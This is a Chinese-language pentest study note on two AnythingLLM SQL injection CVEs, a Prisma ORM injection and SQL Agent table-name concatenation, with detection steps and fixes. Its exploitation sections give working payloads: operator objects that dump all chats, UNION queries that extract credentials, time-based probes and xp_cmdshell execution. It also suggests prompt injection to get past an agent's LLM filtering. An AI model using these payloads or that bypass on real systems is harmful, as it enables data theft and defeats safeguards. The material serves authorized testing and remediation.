本文仅用于安全学习、靶场复现与授权测试场景,重点关注漏洞原理、检测思路和修复建议。

AnythingLLM 系统 SQL 注入漏洞学习笔记

学习笔记 | 整理日期:2026-07-20
适用场景:渗透测试漏洞识别、安全审计、漏洞复测


目录


一、AnythingLLM 系统简介

什么是 AnythingLLM

AnythingLLM 是由 Mintplex-Labs 开发的开源 AI 应用框架,可以将任意文档、数据转化为 LLM 可交互的上下文(RAG 架构),让用户通过对话方式查询私有数据。

技术架构

层级 技术选型
前端 React + Tailwind CSS
后端 Node.js + Express
数据库 ORM Prisma ORM(默认 SQLite,可切换 PostgreSQL / MySQL)
向量数据库 LanceDB / Chroma / Pinecone / Weaviate 等
LLM 接口 OpenAI / Anthropic / Ollama / 本地模型等
Agent 插件 内置 SQL Agent(可连接外部 MySQL / PostgreSQL / MSSQL)

关键安全组件

1
2
3
4
5
6
7
8
用户请求 → Express API → [业务逻辑层]

┌─────────┴──────────┐
↓ ↓
Prisma ORM SQL Agent 插件
(操作内部数据库) (连接外部数据库查询)
↓ ↓
SQLite/PostgreSQL MySQL/PG/MSSQL

安全关注点

  • Prisma ORM 层:如果将用户输入直接传入 Prisma 的 where 条件,可能产生 ORM 注入
  • SQL Agent 插件:如果使用原始 SQL 拼接查询,可能产生传统 SQL 注入

二、SQL 注入漏洞基础概念

定义

SQL 注入(SQL Injection, CWE-89)是指应用程序将用户输入未经充分过滤或参数化处理,直接拼接到 SQL 查询语句中,导致攻击者可以篡改 SQL 语句的逻辑,执行非授权的数据库操作。

SQL 注入分类

类型 说明 判断特征
回显型 查询结果直接返回页面 输入 ' 报错、输入 AND 1=1 正常 / AND 1=2 异常
盲注(Boolean) 无回显,但页面有 True/False 两种状态 AND 1=1AND 1=2 页面内容不同
盲注(Time) 无回显无布尔差异,仅能通过延迟判断 AND SLEEP(5) 页面延迟 5 秒
报错注入 数据库错误信息返回页面 输入 ' 返回 SQL 错误信息
ORM 注入 针对 ORM 框架的注入,非传统 SQL 拼接 传入 JSON 对象操纵 ORM 查询逻辑

SQL 注入危害

1
2
3
读取数据 → 写入数据 → 执行系统命令 → 控制服务器
↑ ↑ ↑ ↑
信息泄露 篡改/植入 提权 完全沦陷

三、AnythingLLM 已知 SQL 注入漏洞

AnythingLLM 历史上被披露了两个与 SQL 注入相关的漏洞,攻击路径和原理各不相同,非常适合对比学习。

3.1 CVE-2024-8251 — Prisma ORM 注入

漏洞基本信息

项目 内容
CVE 编号 CVE-2024-8251
漏洞类型 Prisma ORM 注入(CWE-89 / CWE-20)
影响版本 AnythingLLM < 1.2.2
修复版本 1.2.2
CVSS 3.0 5.3(中等)
漏洞位置 API 端点 /embed/:embedId/stream-chat
认证要求 无需认证(PR:N)
披露来源 huntr.dev 漏洞赏金平台

漏洞原理

AnythingLLM 的嵌入式聊天(Embed Chat)功能允许将聊天窗口嵌入到外部网站。该功能的 API 端点 /embed/:embedId/stream-chat 在处理用户请求时,将用户提供的 JSON 数据直接传入 Prisma ORM 的 where 查询条件,未做任何校验。

漏洞代码模式(简化示意):

1
2
3
4
5
6
7
8
9
10
11
12
13
// 漏洞代码:用户 JSON 直接传入 Prisma where 条件
app.post('/embed/:embedId/stream-chat', async (req, res) => {
const { sessionId, message } = req.body;

// 危险:sessionId 直接传入 where 条件,未限制类型
const chatHistory = await prisma.embed_chats.findMany({
where: {
embedId: req.params.embedId,
sessionId: sessionId // ← 用户可控,可传入 JSON 对象
}
});
// ...
});

正常请求 vs 恶意请求

正常请求(用户传入字符串 sessionId):

1
2
3
4
5
6
7
POST /embed/abc123/stream-chat HTTP/1.1
Content-Type: application/json

{
"sessionId": "user-session-001",
"message": "你好"
}

对应的 Prisma 查询:

1
2
3
4
5
6
7
prisma.embed_chats.findMany({
where: {
embedId: "abc123",
sessionId: "user-session-001" // 精确匹配,只返回该 session 的记录
}
})
// 生成 SQL: SELECT * FROM embed_chats WHERE embedId = 'abc123' AND sessionId = 'user-session-001'

恶意请求(攻击者传入 JSON 对象操纵查询逻辑):

1
2
3
4
5
6
7
POST /embed/abc123/stream-chat HTTP/1.1
Content-Type: application/json

{
"sessionId": {"not": "a"},
"message": "你好"
}

对应的 Prisma 查询:

1
2
3
4
5
6
7
8
prisma.embed_chats.findMany({
where: {
embedId: "abc123",
sessionId: { not: "a" } // Prisma 将其解释为:sessionId != 'a'
}
})
// 生成 SQL: SELECT * FROM embed_chats WHERE embedId = 'abc123' AND sessionId != 'a'
// 结果:返回所有 sessionId 不等于 'a' 的记录 → 几乎返回全表数据

危害

  • 攻击者无需认证即可访问所有用户的聊天记录
  • 可通过构造更复杂的 Prisma 操作符($contains$gt$in 等)进行数据枚举
  • 信息泄露:其他用户的对话内容可能包含敏感信息

漏洞判断特征

特征 说明
输入类型 JSON 请求体
注入点 sessionId 字段
注入方式 传入 JSON 对象而非字符串
响应变化 返回的数据量异常增加(从单条变为多条)
认证要求 无需认证

3.2 CVE-2026-32628 — SQL Agent 插件 SQL 注入

漏洞基本信息

项目 内容
CVE 编号 CVE-2026-32628
漏洞类型 SQL 注入(CWE-89)
影响版本 AnythingLLM ≤ 1.11.1
CVSS 3.1 8.8(高危)
CVSS 4.0 7.7(高危)
漏洞位置 内置 SQL Agent 插件 getTableSchemaSql() 方法
涉及连接器 MySQL、PostgreSQL、MSSQL 三个数据库连接器
认证要求 需低权限(可调用 Agent 的用户)
补丁提交 commit 334ce052f063b53a4275518cbed3bab357695d7e

漏洞原理

AnythingLLM 内置了一个 SQL Agent 插件,允许 LLM Agent 连接外部数据库并执行 SQL 查询,用于”用自然语言查数据库”的场景。

该插件在获取数据库表结构信息时,调用了 getTableSchemaSql(tableName) 方法,该方法直接将 table_name 参数拼接到 SQL 语句中,未使用参数化查询或输入过滤。

漏洞代码模式(三个连接器均存在):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// MySQL 连接器 - 漏洞代码
class MySQLConnector {
getTableSchemaSql(tableName) {
// 危险:直接字符串拼接,未参数化
return `SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = '${tableName}'`;
// ↑ 未过滤直接拼接
}
}

// PostgreSQL 连接器 - 漏洞代码
class PostgresConnector {
getTableSchemaSql(tableName) {
return `SELECT column_name, data_type, is_nullable
FROM information_schema.columns
WHERE table_name = '${tableName}'`;
// ↑ 同样未过滤
}
}

// MSSQL 连接器 - 漏洞代码
class MSSQLConnector {
getTableSchemaSql(tableName) {
return `SELECT COLUMN_NAME, DATA_TYPE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = '${tableName}'`;
// ↑ 同样未过滤
}
}

攻击链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. 攻击者通过对话界面调用 SQL Agent
"帮我查看 users 表的结构"

2. LLM 解析意图,调用 getTableSchemaSql("users")

3. 恶意输入:攻击者通过 prompt injection 或直接操控 table_name
table_name = "users' UNION SELECT username, password, 'Y' FROM credentials--"

4. 拼接后的 SQL:
SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'users' UNION SELECT username, password, 'Y' FROM credentials--'

5. 数据库执行拼接后的 SQL,返回 credentials 表的用户名和密码

危害

  • 任意 SQL 执行:可读取、修改、删除连接数据库中的任何数据
  • 数据泄露:可导出敏感表数据(用户凭证、业务数据等)
  • 潜在 RCE:如果数据库配置了 xp_cmdshell(MSSQL)或类似功能,可执行系统命令
  • 横向移动:获取数据库凭证后可用于攻击内网其他系统

漏洞判断特征

特征 说明
注入点 table_name 参数
注入方式 传统 SQL 注入(字符串拼接)
影响范围 连接的外部数据库(MySQL / PG / MSSQL)
触发途径 通过 LLM Agent 对话调用 SQL Agent 插件
认证要求 需有调用 Agent 的权限

四、漏洞判断方法(渗透测试视角)

4.1 信息收集阶段

在判断 AnythingLLM 系统是否存在 SQL 注入前,先确认目标信息:

收集项 方法 说明
版本号 查看 /api/system/env、页面 footer、HTTP 头 确认是否在受影响版本范围内
是否启用 Embed Chat 访问 /embed 路径 CVE-2024-8251 的前提
是否启用 SQL Agent 查看工作区 Agent 配置 CVE-2026-32628 的前提
数据库类型 错误信息、响应特征 判断注入语法

4.2 CVE-2024-8251 判断方法

步骤 1:确认 Embed Chat 端点存在

1
GET /embed/<embedId> HTTP/1.1

如果返回嵌入聊天页面,说明该功能启用。

步骤 2:发送正常请求,观察基线响应

1
2
3
4
5
6
7
POST /embed/<embedId>/stream-chat HTTP/1.1
Content-Type: application/json

{
"sessionId": "test-session-001",
"message": "hello"
}

记录响应时间和内容作为基线。

步骤 3:发送注入测试 Payload

Payload 1 — 布尔条件测试(返回全表):

1
2
3
4
{
"sessionId": {"not": "nonexistent"},
"message": "hello"
}
  • {"not": "nonexistent"} 等价于 sessionId != 'nonexistent'
  • 如果返回的数据量明显大于正常请求 → 存在 ORM 注入

Payload 2 — 始终为真条件:

1
2
3
4
{
"sessionId": {"contains": ""},
"message": "hello"
}
  • {"contains": ""} 匹配所有非空 sessionId 的记录
  • 如果返回多条记录 → 存在注入

Payload 3 — 对比测试(布尔盲注思路):

1
2
3
4
5
// 请求 A:条件为真
{"sessionId": {"startsWith": "a"}, "message": "hello"}

// 请求 B:条件矛盾
{"sessionId": {"not": {"startsWith": "a"}}, "message": "hello"}
  • 如果 A 和 B 返回的记录数互补 → 确认注入

判断结论表

测试结果 结论
传入 JSON 对象后返回数据量异常增加 存在 Prisma ORM 注入
传入 JSON 对象报 500 错误 可能做了部分过滤,需进一步测试
传入 JSON 对象被当作字符串处理 已修复(输入类型校验)

4.3 CVE-2026-32628 判断方法

步骤 1:确认 SQL Agent 插件启用

需要具备可调用 Agent 的权限。在工作区设置中查看是否配置了 SQL Agent 连接器。

步骤 2:通过对话触发 SQL Agent

1
用户输入:"帮我查看数据库中有哪些表"

Agent 会尝试连接数据库并返回表列表。

步骤 3:构造恶意表名触发注入

Payload 1 — 报错注入(判断注入点):

1
用户输入:"查看表名为 users' 的结构"

如果 table_name 被直接拼接,数据库会返回 SQL 语法错误 → 存在注入

Payload 2 — UNION 注入(提取数据):

1
table_name = "nonexistent' UNION SELECT username,password,'3' FROM users-- "

拼接后 SQL:

1
2
3
4
SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = 'nonexistent'
UNION SELECT username, password, '3' FROM users-- '

如果返回了 users 表的用户名和密码 → 确认注入

Payload 3 — 时间盲注(无回显场景):

1
2
3
4
5
6
7
8
# MySQL
table_name = "users' AND SLEEP(5)-- "

# PostgreSQL
table_name = "users'; SELECT pg_sleep(5)-- "

# MSSQL
table_name = "users'; WAITFOR DELAY '0:0:5'-- "

如果响应延迟 5 秒 → 确认时间盲注

不同数据库的判断特征

数据库 报错特征 时间函数 信息获取方式
MySQL You have an error in your SQL syntax SLEEP(5) UNION SELECT
PostgreSQL ERROR: syntax error at or near pg_sleep(5) UNION SELECT
MSSQL Unclosed quotation mark WAITFOR DELAY '0:0:5' UNION SELECT

五、漏洞利用实例详解

5.1 CVE-2024-8251 完整利用链

场景:攻击者发现目标网站嵌入了 AnythingLLM 的 Embed Chat,尝试读取所有用户聊天记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
目标:https://target.com/embed/abc123/stream-chat

Step 1: 正常请求(基线)
POST /embed/abc123/stream-chat
{"sessionId":"s1","message":"hi"}
→ 返回 1 条聊天记录

Step 2: ORM 注入(全表读取)
POST /embed/abc123/stream-chat
{"sessionId":{"not":"____none____"},"message":"hi"}
→ 返回 500+ 条聊天记录(所有 session 的记录)

Step 3: 精准枚举(按条件过滤)
POST /embed/abc123/stream-chat
{"sessionId":{"contains":"admin"},"message":"hi"}
→ 返回所有 sessionId 包含 "admin" 的记录

Step 4: 利用 Prisma 操作符组合
POST /embed/abc123/stream-chat
{"sessionId":{"in":["admin-session","vip-session"]},"message":"hi"}
→ 返回指定 session 的记录

5.2 CVE-2026-32628 完整利用链

场景:攻击者通过 SQL Agent 对话,逐步提取数据库中的敏感信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Step 1: 探测注入点
用户输入:"查看表名为 test' 的表结构"
→ 数据库报错:SQL syntax error
→ 确认 table_name 存在 SQL 注入

Step 2: 获取数据库版本
table_name = "x' UNION SELECT version(), 'type','Y'-- "
→ 返回:MySQL 8.0.35

Step 3: 枚举所有表名
table_name = "x' UNION SELECT table_name,'type','Y' FROM information_schema.tables WHERE table_schema=database()-- "
→ 返回:users, orders, credentials, config...

Step 4: 提取 credentials 表数据
table_name = "x' UNION SELECT username,password,'Y' FROM credentials-- "
→ 返回:
admin | $2a$10$xxxxx...
root | $2a$10$yyyyy...

Step 5: 如果是 MSSQL,尝试命令执行
table_name = "x'; EXEC xp_cmdshell 'whoami'-- "
→ 如果 xp_cmdshell 开启,可执行系统命令

六、修复方案与防御措施

6.1 CVE-2024-8251 修复

修复方式:对 sessionId 进行严格的类型校验,确保只接受字符串类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 修复后代码
app.post('/embed/:embedId/stream-chat', async (req, res) => {
const { sessionId, message } = req.body;

// 修复1:类型校验,确保 sessionId 是字符串
if (typeof sessionId !== 'string' || sessionId.length === 0) {
return res.status(400).json({ error: 'Invalid sessionId' });
}

// 修复2:限制 sessionId 格式(可选)
if (!/^[a-zA-Z0-9-]+$/.test(sessionId)) {
return res.status(400).json({ error: 'Invalid sessionId format' });
}

const chatHistory = await prisma.embed_chats.findMany({
where: {
embedId: req.params.embedId,
sessionId: sessionId // 此时已确保是安全字符串
}
});
});

6.2 CVE-2026-32628 修复

修复方式:使用参数化查询替代字符串拼接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 修复后代码 - MySQL 连接器
class MySQLConnector {
getTableSchemaSql(tableName) {
// 修复:使用参数化查询
return {
sql: `SELECT COLUMN_NAME, DATA_TYPE, IS_NULLABLE
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME = ?`,
params: [tableName]
};
}
}

// 修复后代码 - PostgreSQL 连接器
class PostgresConnector {
getTableSchemaSql(tableName) {
return {
sql: `SELECT column_name, data_type, is_nullable
FROM information_schema.columns
WHERE table_name = $1`,
params: [tableName]
};
}
}

6.3 纵深防御措施

防御层 措施 说明
输入层 类型校验 + 格式白名单 所有用户输入强制类型检查
ORM 层 禁止将用户 JSON 直接传入 where 使用显式字段映射
查询层 全部使用参数化查询 禁止 $queryRawUnsafe
数据库层 最小权限原则 Agent 连接的数据库账号仅授予 SELECT 权限
网络层 SQL Agent 连接的数据库部署在内网 禁止直接暴露到公网

七、渗透测试中的实战判断技巧

7.1 快速判断清单

当你在渗透测试中遇到 AnythingLLM 实例时,按以下清单快速判断:

1
2
3
4
5
6
□ 1. 确认版本(< 1.2.2 → 测 CVE-2024-8251;≤ 1.11.1 → 测 CVE-2026-32628)
□ 2. 探测 /embed 端点是否可访问
□ 3. 如果可访问,尝试 Prisma ORM 注入
□ 4. 检查是否有 SQL Agent 可调用
□ 5. 如果有,尝试 table_name SQL 注入
□ 6. 根据数据库类型选择对应注入语法

7.2 两个漏洞的对比总结

维度 CVE-2024-8251 CVE-2026-32628
漏洞类型 ORM 注入(Prisma) 传统 SQL 注入
根因 JSON 直接传入 where 条件 字符串拼接 SQL
注入点 sessionId 字段 table_name 参数
注入方式 传入 JSON 操作符对象 传入 SQL 特殊字符
认证要求 无需认证 需低权限
危害等级 中等(信息泄露) 高危(任意 SQL 执行)
影响范围 内部聊天记录 连接的外部数据库
修复方式 输入类型校验 参数化查询

7.3 常见误判与注意事项

误判场景 正确判断方法
传入 JSON 对象返回 500 不一定是修复,可能是 ORM 内部错误,尝试不同操作符
SQL Agent 无回显 可能是盲注,改用时间注入判断
Prisma 报错信息不明确 对比正常请求和注入请求的响应差异,而非依赖报错
Agent 拒绝执行某些查询 可能是 LLM 安全过滤,尝试 prompt injection 绕过

八、知识扩展:ORM 注入 vs 传统 SQL 注入

核心区别

1
2
3
4
5
6
7
8
传统 SQL 注入:
用户输入 → 直接拼接 SQL 字符串 → 数据库执行
示例: "users' OR '1'='1" → SELECT * FROM users WHERE name = 'users' OR '1'='1'

ORM 注入:
用户输入 → 操纵 ORM 查询条件对象 → ORM 生成 SQL → 数据库执行
示例: {"ne": null} → prisma.findMany({where: {name: {ne: null}}})
→ SELECT * FROM users WHERE name IS NOT NULL

ORM 注入的常见操作符

Prisma 操作符 含义 生成的 SQL
{"not": "x"} 不等于 != 'x'
{"contains": "x"} 包含 LIKE '%x%'
{"startsWith": "x"} 前缀匹配 LIKE 'x%'
{"in": ["a","b"]} 在列表中 IN ('a','b')
{"gt": 10} 大于 > 10
{"lt": 10} 小于 < 10
{"gte": 10} 大于等于 >= 10

为什么 ORM 不能完全防止 SQL 注入

很多人认为”使用了 ORM 就不会有 SQL 注入”,这是错误的

场景 是否安全
ORM 参数化查询(where: {id: userInput} 安全 — ORM 自动参数化
ORM where 条件接受用户 JSON(where: req.body 不安全 — 可操纵查询逻辑
ORM 原始查询拼接($queryRawUnsafe 不安全 — 等同传统 SQL 注入
ORM 原始查询参数化($queryRaw + 参数) 安全 — 参数化处理

核心原则:ORM 安全的前提是开发者正确使用。只要将用户可控数据传入 ORM 的查询条件结构中,就可能产生 ORM 注入。


学习建议:在实际渗透测试中,遇到使用 Node.js + Prisma 技术栈的应用时,重点关注 API 端点是否将 req.body 中的字段直接传入 Prisma 的 where 条件。这是 ORM 注入最常见的模式。同时,任何涉及”Agent 连接数据库”的功能,都应检查是否存在原始 SQL 拼接。